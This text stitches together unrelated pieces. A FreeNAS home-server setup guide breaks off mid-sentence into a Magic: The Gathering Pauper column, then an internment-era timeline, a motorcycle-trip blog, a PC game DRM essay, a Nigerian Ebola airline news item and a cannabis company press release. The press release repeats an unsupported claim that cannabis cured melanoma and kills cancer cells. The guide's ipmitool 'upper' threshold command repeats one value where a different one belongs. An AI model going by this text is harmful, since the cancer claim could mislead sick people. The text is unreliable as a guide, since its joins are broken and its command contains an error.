Enable/configure SSH service. At some point, I want to set up certificate-based login for extra security, but I haven’t gotten around to it yet. Enable SSH in Services > Control Services. Click the wrench and make sure “Allow password authentication” is checked. Optionally, check “Login as root with password”. If this is unchecked, you will no longer be able to log in directly as root or use su to elevate to root, meaning you will have to use sudo to run commands with escalated privileges. If you want to use sudo on your account (which can be useful even if you leave have the “login as root with password” box checked), you will need to go into the configuration page for your user (Account > Users > <your user name>) and add “wheel” as an auxiliary group with the selection boxs at the bottom of the window.
Set up your UPS. If you didn’t get a UPS, I would strongly recommend picking one up. I got mine used from eBay and it seems to works pretty well. Research online which driver you should user for your UPS on FreeNAS. Check the NUT website here for more info. Plug your UPS into a USB port on your server and watch the console messages (which now show up at the bottom of the web UI) to see which port it went into. Open the UPS service settings (Services > UPS) and select the driver and port you noted above. I set my shutdown mode to “UPS reaches low battery” to give the power a chance to come back on. Enable the UPS service (in Services > Control Services). If it stays on, you’re all set. If it turns itself off again, you mixed up one of the above settings. A quick footnote here on the UPS shutdown behavior– if your UPS sends a shutdown signal to your server, it will not turn the server back on when wall power is restored. I’m looking into a way to have the UPS power the server back on automatically when its battery is fully charged and will update this section once I figure something out. Until then, if your server seems oddly quiet after a power outage, this might be why...
Enable/configure SMART service. This configures the SMART daemon (smartd) to check and see if any SMART check tasks should be run. I’ll configure those SMART check tasks in the next step. The parameters are rather cryptic, so I’ve included descriptions next to the suggested values from the FreeNAS user guide. Make sure the SMART service is enabled in Services > Control Services. In the SMART service settings, set the following: Check interval: 30 (“In minutes, how often to wake up smartd to check to see if any tests have been configured to run.”) Power mode: Never (“The configured test is not performed if the system enters the specified power mode; choices are: Never, Sleep, Standby, or Idle.”) Difference: 0 (“Default of 0 disables this check, otherwise reports if the temperature of a drive has changed by N degrees Celsius since last report.”) Informational: 0 (“Default of 0 disables this check, otherwise will message with a log level of LOG_INFO if the temperature is higher than specified degrees in Celsius.”) Critical: 50 (“Default of 0 disables this check, otherwise will message with a log level of LOG_CRIT and send an email if the temperature is higher than specified degrees in Celsius.") Email to report: <your new gmail address from above> (“Email address of person or alias to receive S.M.A.R.T. alerts.”)
The next 3 items involve scheduling recurring tasks, some of which will impact overall system performance and can take 24+ hours to complete (depending on your pool size). For example, both the main pool scrub and the long SMART check will each typically take a long time and will each slightly degrade system performance. For that reason, I’ve scheduled them so they are never running at the same time. See my example cron table below for an example of how you might balance the SMART tests and scrubs.
Set up automatic SMART tests. This will allow you to automatically test your drives for errors so you can catch failing drives before they die (and possibly kill your pool). Short Test: In Tasks > SMART Tests, click “Add SMART Test” and set up a short SMART test to run on all your drives every ~5 days. Scroll through the list of disks at the top to make sure every single disk is selected. My short smart test cron config looks like this. Long Test: In the same area, set up a long SMART test to run on all your drives every ~15 days. My long test cron config looks like this.
Set up automatic boot and pool scrubs. A “scrub” is ZFS’s self-healing mechanism. By scrubbing your ZFS volumes regularly, you can automatically and transparently fix disk errors that might otherwise cause issues down the road. For more info on scrubs, check here. In Storage > Scrubs click “Add Scrub”. Select your volume, set the threshold days to “14”, and select a schedule for the scrub so it runs every ~15 days. As I mentioned above, it’s best to not have the main pool scrub ever overlap a long SMART test. My pool scrub settings look like this. In System > Boot, set the “Automatic scrub interval” to 15. Boot pool scrubs are typically pretty quick as the boot disk is small compared to the primary storage volume(s). Note that there is not a way to schedule the boot pool scrubs on specific dates and times through the FreeNAS web UI.
Schedule automatic email status reports/backups. [Updated 8/17/17] This will run a simple script to generate an email report of the scrub and SMART test results. The script I’m using is combined, condensed, and generally improved version of several scripts posted on the FreeNAS forums (my version of the script is posted and discussed towards the end of this thread). The biggest improvement I've made to this script is converting the ZPool and SMART summary data tables from ASCII to HTML. I've also added some other features, like the ability to save each version of the config backup, automatic detection of drives and pools, and color coding in the table that highlights potential issues. I based my script off the SATA version of the script in the above thread, people have reported it works for SAS drives, too. After wrestling with MIME formatting for seemingly endless hours, I've also managed to combine the report email and the config backup email into a single message. Instructions below include a github that will have the most recent version of the script and a basic changelog. Get the script from here [.sh file] and put it somewhere on your server; I recommend somewhere in your primary login’s home folder. Use chmod to ensure root has permission to execute the report.sh file. Modify the parameters section at the top, most importantly the email address you created above (examples are in the script; remove the <>'s in your script): email="<the gmail address you set up earlier>"... includeSSD="<true/false>"... configBackup="<true/false>"
In the FreeNAS web UI, go to Tasks > Cron Jobs and click “Add Cron Job”. Set the user to “root”, put the full path to the script in the command box, and schedule the report so it runs right after your SMART tests and scrubs occur. My cron settings look like this.
As I mentioned above, scheduling the SMART tests, scrubs, and email reports relative to each other is important. As an example, the table below shows what my cron schedule looks like. Each column is a different scheduled cron event, the rows represent the days of the month, and each cell has the time the event will run (in 24-hour format, so 00:00 is midnight, 06:00 is 6 AM). For those familiar with crontab basics, it's worth pointing out that you shouldn't edit the crontab directly as system reboots will reset it to whatever was set in the web UI.
Configure fan thresholds in ipmitool. [2018 Update] As it turns out, setting your fan thresholds with ipmitool is unnecessary if you're using the fan script in the next section. If you properly configure the script with your minimum fan speeds, it will automatically set fan thresholds by calling ipmitool for you. This information might still be helpful to someone, so I'll leave it up. [Original Text] Setting the fan speed thresholds is important so the daemon controlling fan speed knows how high and low they can actually spin. The process might be a little different for different motherboards, but the following information is valid for Supermicro X10 series boards. This process can be a giant pain in the ass, but if you want a working fan control script, it’s an unfortunate necessity. If you don’t mind running your fans at 100% full time, you still need to set these values, but you can skip the fan control script and just change the fan control method in the IPMI interface. Most of the below information comes from a post on the FreeNAS forums. First, SSH into and get root on your FreeNAS machine, then run: ipmitool sensor list all
The output should list all the sensors in your machine, the sensor values, units, health, and a set of threshold values. For the fans, the sensor values will be in RPM. The sensor thresholds can be rather cryptic, but they are as follows:
The system uses these thresholds to control fan speed based on system temperatures (which, you may notice, have their own set of thresholds) and the fan speed profile you have set in the IPMI web UI (which you don’t need to mess with as the fan control script in the next step actually sets the required profile value automatically).
Determine the minimum and maximum fan speed spec for all of your system fans, including any that might be mounted on the CPU cooler. These values are typically posted on the fan manufacturer’s website. If it is presented with +/- a certain percentage, subtract that given percentage to calculate the minimum speed and add that given percentage to calculate the maximum speed. For example, on the Noctua NF-F12 iPPC-3000, the minimum speed is listed as 750 RPM +/- 20% and the maximum speed is 3000 RPM +/- 10%. The minimum value I used for these fans is 750-(750*20%) = 600 RPM, and the maximum value I used is 3000+(3000*10%) = 3300 RPM. Use these min and max values as your LNC and UNC, respectively. Note that impitool will round threshold values to the nearest hundred (i.e., 550 rounds up to 600, 540 rounds down to 500). Determine the LCR and LNR values by subtracting 100 and 200 from the LNC value, respectively. With those values, run the following command on SSH (pay careful attention to the sequence of numbers; they should GROW in value from left to right): ipmitool sensor thresh "<sensor name>" lower <lnr> <lcr> <lnc>
Determine the UCR and UNR values by adding 100 and 200 from the UNC value, respectively. With those values, run the following command on SSH (again, pay careful attention to the sequence of numbers; just like before, they should GROW in value from left to right): ipmitool sensor thresh "<sensor name>" upper <unc> <ucr> <unc>
Repeat the above steps for all fans in your system. Also note down all the threshold values for all fans as you will need them in the next step.
Set up fan control script. This script is also from the FreeNAS forums. This script assumes you have your cooling zones properly set (i.e., all HDD fans connected to the FANA header on your motherboard, all CPU fans connected to the FAN1 - FAN4 headers). This script is pretty slick, but I’ve been thinking of tinkering with it to make the speed changes ramp more gradually. Get the script from here [.pl file] and put it somewhere on your server; I recommend somewhere in your primary login’s home folder. Set the configuration parameters as needed (here is a listing just the parameters I modified; others I left default): Debug: I had to do some initial troubleshooting with my parameters, so setting this to a higher value was useful at first. I run it at debug=1 now. Fan Speeds: Take the UNC value from the section above for both your HDD fans and your CPU fans and enter them here. CPU/HD Fan Duty Levels: My Noctua HDD fans can spin down to ~25% of max speed without stalling, so I changed duty_low to 25. Do the math on your fans and adjust as needed. Test it by running the following command: screen./hybrid_fan_controller.pl
Watching the output and listen to the system fan speeds. It may take a minute or so to fall into the correct rhythm. If it doesn’t seem like it’s working, check the script settings and the fan thresholds in ipmitool. While troubleshooting, you might also find this simple script [.sh file] helpful. It's from the FreeNAS forums link in the previous section and it outputs all CPU and HDD temps. If it’s working, create a new script file named “start_fanctrl” and paste the following into it (making sure to edit the directories in the last line): #!/bin/bash echo "Starting Hybrid Fan Controller..." /<path to fan ctrl script>/hybrid_fan_controller.pl &>> /<path to fan control log>/fan_control.log &
Once that script is saved, go into the FreeNAS web UI and set it to run on startup. Go to Tasks > Init/Shutdown Scripts, click “Add Init/Shutdown Script”, set it to “Command”, enter the path to your start_fanctrl script (-NOT- to the larger perl script), and select “Post Init” for when.
Add system tunables for 10GbE networking. [2018 Update] There are several system tunables you should add to get 10GbE networking running at full speed. To add system tunables, go to System > Tunables (obtuse, I know...) and click 'Add Tunable'. Pay attention to the Tunable type. Most will be'sysctl' tunables, but one is a 'loader'. If you're curious what each of these tunables actually do, check the blog post here on FreeBSD network tuning and optimization. The tunables you should add for 10GbE network are listed in the table below: Variable Value Type cc_cubic_load YES loader net.inet.ip.intr_queue_maxlen 2048 sysctl net.inet.tcp.cc.algorithm cubic sysctl net.inet.tcp.inflight.enable 0 sysctl net.inet.tcp.recvbuf_auto 1 sysctl net.inet.tcp.recvbuf_inc 524288 sysctl net.inet.tcp.recvbuf_max 16777216 sysctl net.inet.tcp.sendbuf_auto 1 sysctl net.inet.tcp.sendbuf_inc 16384 sysctl net.inet.tcp.sendbuf_max 16777216 sysctl net.route.netisr_maxqlen 2048 sysctl
Setting Up SMB Sharing
With all the administrative and monitoring settings in place, I could move on to setting up some shares. This section will focus on SMB/CIFS-based shares because that’s what I use, but FreeNAS offers a wide variety of network file sharing protocols. On the subject of SMB/CIFS, Microsoft summarizes the common question “how are SMB and CIFS different” as follows: “The Server Message Block (SMB) Protocol is a network file sharing protocol, and as implemented in Microsoft Windows is known as Microsoft SMB Protocol. The set of message packets that defines a particular version of the protocol is called a dialect. The Common Internet File System (CIFS) Protocol is a dialect of SMB. Both SMB and CIFS are also available on VMS, several versions of Unix, and other operating systems.” The full article text is here. Samba also comes up a lot, which is an open-source *nix SMB server. It can do some other stuff too (related to Active Directory), but the Samba software isn’t really necessary as FreeNAS has built-in support for several SMB “dialects” or versions (including CIFS).
Getting network file sharing fully configured can be a pain, mostly due to permissions configuration. Because I only work with SMB shares, I do all my permissions management from my primary Windows 10 machine. The Windows machines in my environment (all on Win10) connect over SMB protocol version 3.1.1 (listed as SMB3_11 in smbstatus); the *nix and OS X machines in my environment connect on SMB protocol version NT1. I’ll provide some basic examples from my configuration, but SMB sharing can get very tricky very fast. If you get too complicated, it will become a giant pain a lot faster than it’s worth, so be forewarned. If you find yourself at that point, take a step back and think through possibly simpler ways to accomplish your goal.
Start by enabling the SMB service in the FreeNAS web UI (Services > Control Services).
Click the wrench icon to access the SMB service settings. Most of the default values are fine here, but I set a NetBIOS name (you probably want to use your FreeNAS hostname) and Workgroup (note theI was all set to give you the rundown on the Hour of Devastation season this week. I was convinced the last challenge before Ixalan had taken place and we could put a bow on one of the most interesting Pauper seasons to date. Turns out I had timed it wrong by one full week.
Whoops.
So with that topic delayed I turned to social media. I asked both Twitter and /r/Pauper for questions they wanted me to answer. This time around, Reddit was more useful and provided a bounty of queries regard the current state of the format and what may be in store for the future.
We are starting with /u/Raptor56 because they asked quite a few interesting questions. Note to self: next time be sure to ask for one question per person. With that out of the way I am going to tackle the first two together.
I have long wanted to see a sweeper in the format, preferably one in the 3-mana range. I think Infest would be the best without being too back breaking for aggressive strategies. It would allow a Black based control deck to come back into the format while also being tough to ramp into since it has in the casting cost. Ideally there would be a Pyroclasm that costs but, failing that, something akin to Rolling Temblor would be neat (if a tad too powerful).
As far as other cards I would like to see find their way into the format, I talked about getting a Forked Bolt reprint on Magic Online ever since it was released as a common on paper. I also would love to see Ulcerate make its way into the format to give Black a removal spell on par with Lightning Bolt. Strangleroot Geist seems interesting if only because it would give Mono-Green a tool to fight all this new removal I seem dead set on adding. And, being the purely selfish person I am, I want to add another Reanimator spell — Reanimate is the cleanest of the bunch but Animate Dead is probably the closest to the correct power level for a common.
This ties to another question Raptor56 asked – what deck would I like to see be competitive. The answer is Reanimator. I love using Exhume but the problem is it is the only reasonable reanimation spell available. Stir the Grave is too expensive and Unearth is a tad too narrow. Animate Dead is an appropriate power level but its text is so byzantine we have a better chance of seeing Zombify than anything else.
The trinity of White removal spells listed are all too good for Pauper. If you were forcing me to pick one, I think it would have to be Condemn as it has the most restrictions. These are all universal removal that can take out just about everything played in the format for a single mana. Other single mana removal spells exist — Ghastly Demise, Skred, and Vendetta — but they all have some sort of restriction on when they can be used to their maximum efficacy. Condemn, for all intents and purposes, does not. Unlike formats where these three are legal, Pauper does not have the same saturation of utility creatures that would need to be handled outside of combat. We are a combat format.
As far as the current health — I think Pauper is the healthiest it has ever been. There is no one clearly dominant deck and multiple strategies are viable and successful. I think if anything, the format needs access to a reasonable sweeper to help contain the “go wide with reckless abandon” decks but if we don’t see a board wipe in the next few months I won’t be calling for anyone’s head.
I will talk about the other questions here later on in the column.
Seeker of the Way has generated quite the cacophony in Pauper circles. I am higher on it than most due to the fact that it gains lifelink upon the Prowess trigger. The ability to mitigate attacks is important right now due to two of the top three decks being aggressive.
Stompy and Affinity are two of the better decks at the moment and Stompy, with its explosive Burning-Tree Emissary draws, is the pace-car of Pauper. As a 2/2 Seeker of the Way is already primed to trade with Stompy’s threats. Once you run it with any of White’s protection style effects like Gods Willing (or the newly down shifted Emerge Unscathed) it can come out ahead in combat. Pair it with Prismatic Strands and the player with Seeker of the Way can craft their own bloodbath.
So, will Seeker fit into existing archetypes? Absolutely. But it will also spawn new decks. Despite being based largely around creatures and attacking Pauper is a format that is relatively bereft of complex combat. More often than not the attack phase is about pushing through damage. A midrange White deck with creatures like Loyal Cathar actively wants to get into combat and it is in a deck like this that Seeker can thrive. Being able to treat the combat phase as an opportunity to pick off opposing threats — that is where the way will be found.
At this point, moving to the Modern card pool would completely upend the format. Chainer's Edict and Battle Screech are lost, as are nearly every sweeper that matters (Evincar's Justice, Swirling Sandstorm, Crypt Rats). Tortured Existence is dead and gone. Rancor also bites the dust and Affinity completely loses its edge. Delver decks lose Counterspell. Brainstorm, Gush, and Daze leave and so do Capsize and Rolling Thunder. Oh and Palace Sentinels, Thorn of the Black Rose, and Ash Barrens are gone.
Basically the meta looks nothing like it does today and is probably dominated by Tron decks.
The joke here is that the poster, /u/SixesMTG, will often comment on different threads as to how well positioned their deck is in the current metagame.
Pauper — all about the weird memes.
The different control decks mentioned all occupy separate areas on the Pauper competitive axis. But I want to use this question to explore a point about Tron in Pauper. The powerful mana engine does not push out other control decks as much as forces them to occupy a slightly different area of the metag |
10, 1944
A Federal Grand Jury issues indictments abgainst 63 Heart Mountain draft resistors. The 63 are found guilty and sentenced to jail terms on June 26. They would be granted a pardon on December 24, 1947.
May 24, 1944
Shoichi James Okamoto is shot to death at Tule Lake by a guard after stopping a construction truck at the main gate for permission to pass. Private Bernard Goe, the guard, would be acquitted after being fined a dollar for "unauthorized use of government property" --a bullet.
June 30, 1944
Jerome becomes the first camp to close when the last inmates are transferred to Rohwer.
July 21, 1944
Seven members of the Heart Mountain Fair Play Committee are arrested, along with journalist James Omura. Their trial for "unlawful conspiracy to counsel, aid and abet violators of the draft" begins on October 23. All but Omura would eventually be found guilty.
October 27-30, 1944
The 442nd Regimental Combat Team rescues an American battalion which had been cut off and surrounded by the enemy. Eight hundred casualties are suffered by the 442nd to rescue 211 men. After this rescue, the 442nd is ordered to keep advancing in the forest; they would push ahead without relief or rest until November 9.
December 18, 1944
The Supreme Court decides that Fred Toyosaburo Korematsu was indeed guilty of remaining in a military area contrary to the exclusion order. This case challenged the constitutionality of the entire exclusion process.
January 2, 1945
Restrictions preventing resettlement on the West Coast are removed, although many exceptions continue to exist. A few carefully screened Japanese Americans had returned to the coast in late 1944.
January 8, 1945
The packing shed of the Doi family is burned and dynamited and shots are fired into their home. The family had been the first to return to California from Amache and the first to return to Placer County, having arrived three days earlier. Although several men are arrested and confess to the acts, all would be acquitted. Some 30 similar incidents would greet other Japanese Americans returning to the West Coast between January and June.
May 7, 1945
The surrender of Germany ends the war in Europe.
August 6, 1945
The atomic bomb is dropped on Hiroshima. Three days later, a second bomb is dropped on Nagasaki. The war in the Pacific would end on August 14.
March 20, 1946
Tule Lake closes, culminating "an incrediblle mass evacuation in reverse." In the month prior to the closing, some 5,000 internees had to be moved, many of whom were elderly, impoverished, or mentally ill and with no place to go.
July 15, 1946
The 442nd Regimental Combat Team is received on the White House lawn by President Truman. "You fought not only the enemy but you fought prejudice -- and you have won," remarks the president.
June 30, 1947
U.S. District Judge Louis E. Goodman orders that the petitioners in Wayne Collins' suit of December 13, 1945 be released; native-born American citizens could not be converted to enemy aliens and could not be imprisoned or sent to Japan on the basis of renunciation. Three hundred and two persons are finally released from Crystal City, Texas and Seabrook Farms, New Jersey on September 6, 1947.
July 2, 1948
President Truman signs the Japanese American Evacuation Claims Act, a measure to compensate Japanese Americans for certain economic losses attributable to their forced evacuation. Although some $28 million was to be paid out through provision of the act, it would be largely ineffective even on the limited scope in which it operated.
July 10, 1970
A resolution is announced by the Japanese American Citizen League's Northern California-Western Nevada District Council calling for reparations for the World War II incarceration of Japanese Americans. This resolution would have the JACL seek a bill in Congress awarding individual compensation on a per diem basis, tax-free.
November 28, 1979
Representative Mike Lowry (D-WA) introduces the World War II Japanese-American Human Rights Violations Act (H.R. 5977) into Congress. This NCJAR-sponsored bill is largely based on research done by ex-members of the Seattle JACL chapter. It proposes direct payments of $15,000 per victim plus an addtional $15 per day interned. Given the choice between this bill and the JACL-supported study commission bill introduced two months earlier, Congress opts for the latter.
July 14, 1981
The Commission on Wartime Relocation and Internment of Civilians (CWRIC) holds a public hearing in Washington, D.C. as part of its investigation into the internment of Japanese Americans during World War II. Similar hearings would be held in many other cities throughout the rest of 1981. The emotional testimony by more than 750 Japanese American witnesses about their wartime experiences would prove cathartic for the community and a turning point in the redress movement.
June 16, 1983
The CWRIC issues its formal recommendations to Congress concerning redress for Japanese Americans interned during World War II. They include the call for individual payments of $20,000 to each of those who spent time in the concentration camps and are still alive.
August 10, 1988
H.R. 442 is signed into law by President Ronald Reagan. It provides for individual payments of $20,000 to each surviving internee and a $1.25 billion education fund among other provisions.
October 9, 1990
The first nine redress payments are made at a Washington, D.C. ceremony. One-hundred-seven-year-old Rev. Mamoru Eto of Los Angeles is the first to receive his check.
Timeline excerpted from JAPANESE AMERICAN NATIONAL MUSEUM online:
http://www.lausd.k12.ca.us/janm/I’ve ridden past the turnout to Fish Lake probably dozens of times on my way to Torrey and Capital Reef. I didn’t know what I was missing, but I’m getting ahead of myself.
We hit the road about 9:00 am after enjoying breakfast at the hotel. the morning was colder than what we might have hoped, but with jackets and gloves plugged in, we were warm and comfortable as we headed out under beautiful blue skies. We had the road pretty much to ourselves as we cruised along Hwy 24.
After gassing up in Torrey, we decided to go into Capital Reef for a bit to enjoy the scenery. As a kid I wasn’t very impressed with southern Utah, but over the years I’ve really come to appreciate the natural forces at work that shaped the landscape. As we rode through the park it didn’t take very much to imagine we were looking up from the bottom of the inland sea at the sand dunes above.
We stopped for lunch at the Cafe Diablo on the west end of town. I was expecting Mexican food by the name and location, but the owners call it an innovative southwestern restaurant. The food was good, if a little pricy. I would have preferred honest to goodness Mexican food, but we enjoyed the meal (there weren’t any pickups out front). The place definitely caters to the tourists.
Heading west back toward Richfield, we decided to jump of 24 at Hwy 72 and headed toward Fish Lake. The ride around the lake is incredible in the fall colors. This is someplace I’m really excited to visit again. This late in the season the only thing we shared the road with were the livestock a cute young lady was urging down the road on horseback. I noticed a couple of small fishing boats on the lake who had braved the weather from the day before, but I don’t think we saw a car or another motorcycle.
We followed the road around the lake until we were back on Hwy 72 headed for Richfield. It was a little colder than we would have liked, but the day ended perfectly.
After cleaning up at the hotel, we went out to dinner and returned for another night of relaxation and games. Kelly and Chris introduced us to a new game played with dice, we’d never played before, that kept us going until it was time to hit the sack. We weren’t putting a lot of miles on the bikes this trip, but we really had a great time.
AdvertisementsWhen Tim Edwards asked me to do a round-up of PC’s best racing games, I was I was only too happy to oblige. I’m the motorhead around the PCGN virtual office, and the assignment sounded like a blast. One of my favorite genres, and a chance to revisit its greatest recent hits? The only problem was going to be keeping the list to just ten or fifteen items!
Or so I thought. Two days later, my list was a shambles. Somehow, in the last few years, most of my favorite racing games were rendered obsolete. Not by operating system compatibility or changing graphics standards. No, what had killed my racing game collection was Games For Windows, SecuROM, and server shutdowns.
This is how we lose games.
A confession: I was never all that exercised about DRM. Oh, all things being equal, I want DRM-free games. And obviously, I was appalled by things like the Starforce debacle, in which CD-ROM copy protection sometimes ran amok and damaged people’s PCs.
But I never really believed DRM was as dire an issue as it was made out to be. My games worked just fine with DRM and, as the “piracy is killing PC gaming” argument gained currency just through repetition, the odd authentication check or sign-in seemed like a small price to pay.
The issue quieted down. There was never another Starforce disaster, and everything ended up on Steam anyway, which has proven to be a far more reliable archive of my games than any physical media collection I’ve ever owned. DRM didn’t threaten games anymore. The worst we’d have to put up with was an irksome sign-in to GFW or Uplay. I could live with that. It wasn’t ideal, but it worked. Until it didn’t.
No account found
Something has been happening to my games while I wasn’t looking. I noticed it as I started to revisit old racing games to compile a “best of” list.
Actually, let’s not call them old games. They weren’t “old.” I wasn’t firing up IndyCar Racing from Papyrus. I was playing games from the last five or six years. Things that came out in the Steam era, and that I’d assumed would continue to function much as they always had.
But when I went to play Codemasters’ Dirt 3 and Slightly Mad’s Ferrari Racing Legends, I discovered that I couldn’t sign into GFW Live at all. None of my logins worked. Both games allowed me to play without GFW… but then they wouldn’t save any of my progress.
Eventually, I gave up on recovering my account and created a new one using my Microsoft ID. Now, with a brand new account and a working password, I tried to go back.
No dice.
Eventually, a kind soul on Twitter informed me that Games for Windows, in its majesty, does not actually work correctly on Windows 8. I had to uninstall the default client, then go to the GFW website and do a manual download and login via the desktop client. This allowed me, after about three hours of poking and prodding, to play Dirt 3.
What was astonishing is just how bad the resources are for GFW Live. It is practically abandonware at this point. Help pages haven’t been updated in years, and point to resources that don’t exist. Most searches for GFW problems lead to stories about how developers are retroactively stripping it out of their games. As a matter of fact, Codemasters say they are working on getting GFW out of Dirt 3 and replacing it with Steamworks, though there’s no estimated date for when that work will be complete.
The world doesn’t need another story talking about how terrible Games for Windows was and is. That battle is over, and GFW lost. Hardly any new games use it at this point, and even Microsoft seem to have washed their hands of it. But its steady decline has created a new problem: what happens to all the games that used it? Not every studio is going to do what Codemasters and Relic have done in trying to make GFW-free versions of their games. As the service gets ever-more dilapidated, more people will struggle to play the games the GFW games they bought.
Activation roulette
It’s not just a problem with Games for Windows, either. If a game uses SecuROM activation and SecuROM is having an off-day, you’re out of luck. When I installed Test Drive Unlimited 2 off of Steam, I was instantly plunged into a series of problems. First, a SecuROM window popped up asking for my CD-key. But each time I fed it my Steam CD-key, the activation failed.
Then it offered to let me do a manual activation. But in a Kafka-esque touch, it immediately demanded a valid activation key in addition to my CD-key. It seemed that in order to manually activate my game, I’d have to… activate my game.
Oddly enough, when I came back a few hours later and tried again, SecuROM accepted the CD-key. Which is nice… but DRM shouldn’t be this mercurial. A paying customer shouldn’t have to sit around hoping that, eventually, SecuROM will feel like activating a legitimately-purchased game.
Again, SecuROM’s heyday seems to have passed. Fewer games use SecuROM activation, opting instead for Steamworks DRM. But SecuROM was THE preferred DRM system in the mid-2000s. A lot of games from that era are still trying to talk to those servers, even as SecuROM’s future in the industry grows murkier. I have my doubts about whether SecuROM will still be with us in five or ten years, and I am near-certain that its decline will be marked by the kind of worsening service and odd errors that I experienced this week. What happens when your digital, keep-it-forever game is still trying to talk to a relic of the “PC gaming is dead” era?
All of this is bad enough, but nothing seemed quite as pernicious to me as my experience with 2010’s Need for Speed Hot Pursuit, and the the incredibly short lifespan that EA design into their games.
Autologged-off
Hot Pursuit was a major game, and a popular one. After a lot of shaky Need for Speed games, Hot Pursuit brought back the best parts of the cops-and-racers chase scenes that defined the series from its start. It’s also not that dated. It looked amazing in 2010, and it looks terrific now. There’s no reason people shouldn’t still be playing it.
Except that EA put a pillow over its face.
When I launched Hot Pursuit, the first thing the game did was attempt to reach Autolog, EA’s online service for its racing games. Unfortunately, the connection failed because while Autolog still exists, EA disconnected it from Hot Pursuit.
So naturally, the first thing Hot Pursuit wants to tell you in its tutorial is how to use Autolog and all the amazing new features the come along with it. You can post your results and compare them against your friends (nope), find friends to play against (nope), use Hot Pursuit’s robust snapshot feature to take stylish pictures of your racing action (sorry, no), or get additional DLC for the game (hey, bad news about that…).
All but two of the main menu options in Hot Pursuit no longer function because EA turned off Autolog support for Hot Pursuit. It is a fraction of what it was at release after only a few years, because it was built around a temporary service that EA ended.
Even as the days of really intrusive DRM begin to recede, this empty version of “games as services” is what worries me about where PC gaming is headed. Games from major publishers are increasingly designed to connect to social media and sharing platforms. Ubisoft, with Watch Dogs and Assassin’s Creed: Unity, are slowly erasing the difference between single and multiplayer gaming. Watch Dogs’ campaign comes to a halt early in the game so that you can get experience invading another player’s game.
But while these features can be interesting, I also fear they’re a bit of “games as publisher self-service”. Multiplayer is taken away from players and tied to the servers that the publisher operates at will. The idea of the game itself becomes something that can’t entirely be played offline, and likely won’t be preserved. EA have the worst track-record when it comes to actively “sunsetting” their own games, but as Ubisoft make more and more single player and multiplayer hybrids, and more publishers ape their approach, I worry about what today’s games will look like in three or four years.
After a week of trying to play games that I thought would be easy to install and enjoy, games that are not really that old and don’t have Windows compatibility issues, this problem is no longer a hypothetical. It’s happening now, and it threatens the PC’s back catalog. As we stock up on games during the latest Steam Sale, it’s worth asking what we’re really buying, and for how long we’ll have it.Related News
The NCAA says Asky airline has not demonstrated any capacity to prevent another possible transportation of Ebola victims into Nigeria.
The Nigerian Civil Aviation Authority, NCAA, has suspended all Asky Airline flight operations to Nigeria over the transportation of an Ebola virus victim into the country.
Benedict Adeyileka, the Acting Director-General of NCAA, announced the decision in a statement issued by the General Manager, Public Communications of NCAA, Fan Ndubuoke, in Lagos on Monday.
He said that the regulatory authority had to take the action to protect Nigerians from the deadly Ebola virus currently ravaging some parts of Africa.
ASky Airline is an important player in East, West and Central Africa, operating 80 flights into Lagos and Abuja weekly.
The airline flew a Liberian infected with Ebola virus into Lagos, where he died.
Mr. Adeyileka said the Country Manager of ASky was invited to explain issues relating to the trip but that he could not offer any conclusive or substantial evidence on the matter.
He said that the airline manager did not demonstrate any capacity to be able to prevent a reoccurrence or possible transportation of Ebola victims into Nigeria.
“This is contrary to the provision of Article 14 of the Chicago Convention,1944, which states that `Each contracting State agrees to take effective measures to prevent the spread by means of air navigation, of cholera.
“Also of typhus (epidemic), smallpox, yellow fever, plague and such other communicable diseases as the contracting state shall from time to time decide to designate…..
“The International Civil Aviation Organisation, ICAO, has similarly prescribed measures (Standard Practices) in Annex 9 to the Convention which a state must take to prevent the spread of communicable disease in the event of an outbreak.
“Annex 11 (Air Traffic Services) and Annex 14 (Aerodromes, Volume 1-Aerodrome Design and Operations) require air traffic services and aerodromes to establish contingency planning or aerodrome emergency plans, respectively for public health emergencies of International concern,” Mr. Adeyileka said.
He noted that the lives of millions of Nigerians are too precious to be risked on the platter of negligence of an airline.
“The airline operations was therefore suspended with immediate effect until it is able to sufficiently and evidently prove that adequate machinery is in place to provide adequate screening of passengers in all their points of operation, including profiling of each passenger,” he said.
Mr. Adeyileka directed the Directorate of Air Transport Regulation to proceed to write a letter of investigation to the airline.
He said that the agency would also write to other airlines operating into and out of Nigeria to ensure they put in place all necessary preventive measures during screening of passengers.
Mr. Adeyileka assured Nigerians that NCAA would coordinate the establishment of a Rapid Response Health Team at the International airports, being major ports of entry.
“This is to prevent the spread of the deadly Ebola virus in Nigeria according to International best practices.
“The authority will support all the relevant health authorities in the implementation of adequate health measures,” he said.
Similarly, Arik Air which had earlier suspended flights to Monrovia and Freetown has been advised to maintain the cessation of flights until cleared by NCAA.
(NAN)DENVER--(BUSINESS WIRE)--Cannabis Science, Inc. (OTCBB:CBIS.OB) a pioneering U.S. biotech company developing pharmaceutical cannabis (marijuana) critical ailment formulations, is excited to announce the appointment of world renowned Cannabis Cultivator Bret Bogue as Director of Horticulture for the company. Mr. Bogue is a valuable addition to the company, with decades of experience growing cannabis for medical purposes.
Mr. Bogue will play a key role in the development and maintenance of all horticulture operations for the company while developing specific strains for mass production for the company’s growing standards and critical ailment formulations developed by the company. Mr. Bogue will be a part of the lead development team for plants and strains to be used to develop these medical cannabis formulations and products for Cannabis Science.
Being a critical cancer patient himself, Mr. Bogue was diagnosed with a very rare form of melanoma in 1995. Mr. Bogue stated, "I became very ill and was looking for an alternative medication for my illness, so I realized then that I needed to create Apothecary™ Genetics to provide an alternative treatment solution in the early 90s. Through my world travels, I have been able to find ‘land race strains’ and breed them with hybrids to create World Class medical cannabis.”
Bret and Apothecary went on to become the first American-based seed company to win the coveted Cannabis Cup in Amsterdam in 2007, and has won many other international and national awards for his medical cannabis developments. Having over 20 years of experience creating unique medical strains of cannabis, such as Grape Ape aka GDP, Kaia Kush, Sour Grapes, Old School Jams, and Goo, just to name a few, has put Bret and Apothecary Genetics on the world map as one of the top leaders in medical cannabis development.
Mr. Bogue concludes with, “ I was able to cure my melanoma by using medical cannabis in combination with standard radiation treatment. I am the living proof that medical cannabis kills cancer cells.”
As well, Bret is embarking on some exciting new projects such as a documentary with television giant A&E. Two pilots have already been filmed and sent to New York for review and approvals. The documentary will show real patients who are having real, positive results with medical cannabis. These patients include seniors from a senior citizens’ community in California. Viewers will see the reality of the medication’s benefits, as well as the emotions that come into play when someone is chronically ill.
About Cannabis Science, Inc.
